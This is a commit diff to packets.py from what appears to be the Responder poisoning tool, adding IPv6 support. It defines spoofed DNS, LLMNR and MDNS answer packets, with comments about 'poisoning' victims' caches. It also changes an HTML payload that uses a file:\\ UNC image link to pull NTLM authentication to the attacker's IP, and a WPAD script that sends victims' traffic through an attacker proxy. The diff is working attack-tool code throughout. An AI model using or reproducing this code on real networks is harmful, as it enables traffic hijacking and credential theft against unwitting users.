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Added IPv6 support

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lgandx 2021-12-17 10:05:00 -03:00
parent bc812da2ef
commit 5d4510cc1d
13 changed files with 352 additions and 138 deletions
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86
packets.py
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@ -23,7 +23,7 @@ import re
from os import urandom
from base64 import b64decode, b64encode
from odict import OrderedDict
from utils import HTTPCurrentDate, SMBTime, RespondWithIPAton, StructPython2or3, NetworkRecvBufferPython2or3, StructWithLenPython2or3
from utils import HTTPCurrentDate, SMBTime, RespondWithIPAton, RespondWithIPPton, RespondWithIP, StructPython2or3, NetworkRecvBufferPython2or3, StructWithLenPython2or3
# Packet class handling all packet generation (see odict.py).
class Packet():
@ -90,6 +90,32 @@ class DNS_Ans(Packet):
self.fields["IP"] = RespondWithIPAton()
self.fields["IPLen"] = StructPython2or3(">h",self.fields["IP"])
class DNS6_Ans(Packet):
fields = OrderedDict([
("Tid", ""),
("Flags", "\x85\x10"),
("Question", "\x00\x01"),
("AnswerRRS", "\x00\x01"),
("AuthorityRRS", "\x00\x00"),
("AdditionalRRS", "\x00\x00"),
("QuestionName", ""),
("QuestionNameNull", "\x00"),
("Type", "\x00\x1c"),
("Class", "\x00\x01"),
("AnswerPointer", "\xc0\x0c"),
("Type1", "\x00\x1c"),
("Class1", "\x00\x01"),
("TTL", "\x00\x00\x00\x1e"), #30 secs, don't mess with their cache for too long..
("IPLen", "\x00\x04"),
("IP", "\x00\x00\x00\x00"),
])
def calculate(self,data):
self.fields["Tid"] = data[0:2]
self.fields["QuestionName"] = ''.join(data[12:].split('\x00')[:1])
self.fields["IP"] = RespondWithIPPton()
self.fields["IPLen"] = StructPython2or3(">h",self.fields["IP"])
class DNS_SRV_Ans(Packet):
fields = OrderedDict([
("Tid", ""),
@ -181,6 +207,35 @@ class LLMNR_Ans(Packet):
self.fields["AnswerNameLen"] = StructPython2or3(">B",self.fields["AnswerName"])
self.fields["QuestionNameLen"] = StructPython2or3(">B",self.fields["QuestionName"])
class LLMNR6_Ans(Packet):
fields = OrderedDict([
("Tid", ""),
("Flags", "\x80\x00"),
("Question", "\x00\x01"),
("AnswerRRS", "\x00\x01"),
("AuthorityRRS", "\x00\x00"),
("AdditionalRRS", "\x00\x00"),
("QuestionNameLen", "\x09"),
("QuestionName", ""),
("QuestionNameNull", "\x00"),
("Type", "\x00\x1c"),
("Class", "\x00\x01"),
("AnswerNameLen", "\x09"),
("AnswerName", ""),
("AnswerNameNull", "\x00"),
("Type1", "\x00\x1c"),
("Class1", "\x00\x01"),
("TTL", "\x00\x00\x00\x1e"),##Poison for 30 sec.
("IPLen", "\x00\x04"),
("IP", "\x00\x00\x00\x00"),
])
def calculate(self):
self.fields["IP"] = RespondWithIPPton()
self.fields["IPLen"] = StructPython2or3(">h",self.fields["IP"])
self.fields["AnswerNameLen"] = StructPython2or3(">B",self.fields["AnswerName"])
self.fields["QuestionNameLen"] = StructPython2or3(">B",self.fields["QuestionName"])
# MDNS Answer Packet
class MDNS_Ans(Packet):
fields = OrderedDict([
@ -200,6 +255,29 @@ class MDNS_Ans(Packet):
])
def calculate(self):
self.fields["IP"] = RespondWithIPAton()
self.fields["IPLen"] = StructPython2or3(">h",self.fields["IP"])
# MDNS6 Answer Packet
class MDNS6_Ans(Packet):
fields = OrderedDict([
("Tid", "\x00\x00"),
("Flags", "\x84\x00"),
("Question", "\x00\x00"),
("AnswerRRS", "\x00\x01"),
("AuthorityRRS", "\x00\x00"),
("AdditionalRRS", "\x00\x00"),
("AnswerName", ""),
("AnswerNameNull", "\x00"),
("Type", "\x00\x1c"),
("Class", "\x00\x01"),
("TTL", "\x00\x00\x00\x78"),##Poison for 2mn.
("IPLen", "\x00\x04"),
("IP", "\x00\x00\x00\x00"),
])
def calculate(self):
self.fields["IP"] = RespondWithIPPton()
self.fields["IPLen"] = StructPython2or3(">h",self.fields["IP"])
################### DHCP SRV ######################
@ -299,7 +377,7 @@ class IIS_Auth_Granted(Packet):
("ContentLen", "Content-Length: "),
("ActualLen", "76"),
("CRLF", "\r\n\r\n"),
("Payload", "<html>\n<head>\n</head>\n<body>\n<img src='file:\\\\\\\\\\\\shar\\smileyd.ico' alt='Loading' height='1' width='2'>\n</body>\n</html>\n"),
("Payload", "<html>\n<head>\n</head>\n<body>\n<img src='file:\\\\\\\\\\\\"+RespondWithIP()+"\\smileyd.ico' alt='Loading' height='1' width='2'>\n</body>\n</html>\n"),
])
def calculate(self):
self.fields["ActualLen"] = len(str(self.fields["Payload"]))
@ -358,7 +436,7 @@ class WPADScript(Packet):
("ContentLen", "Content-Length: "),
("ActualLen", "76"),
("CRLF", "\r\n\r\n"),
("Payload", "function FindProxyForURL(url, host){return 'PROXY wpadwpadwpad:3141; DIRECT';}"),
("Payload", "function FindProxyForURL(url, host){return 'PROXY "+RespondWithIP()+":3141; DIRECT';}"),
])
def calculate(self):
self.fields["ActualLen"] = len(str(self.fields["Payload"]))
@ -2228,7 +2306,7 @@ class SamLogonResponseEx(Packet):
("ServerName", settings.Config.MachineName),
("ServerTerminator", "\x00"),
("UsernameLen", "\x10"),
("Username", "LGANDX"),
("Username", settings.Config.Username),
("UserTerminator", "\x00"),
("SrvSiteNameLen", "\x17"),
("SrvSiteName", "Default-First-Site-Name"),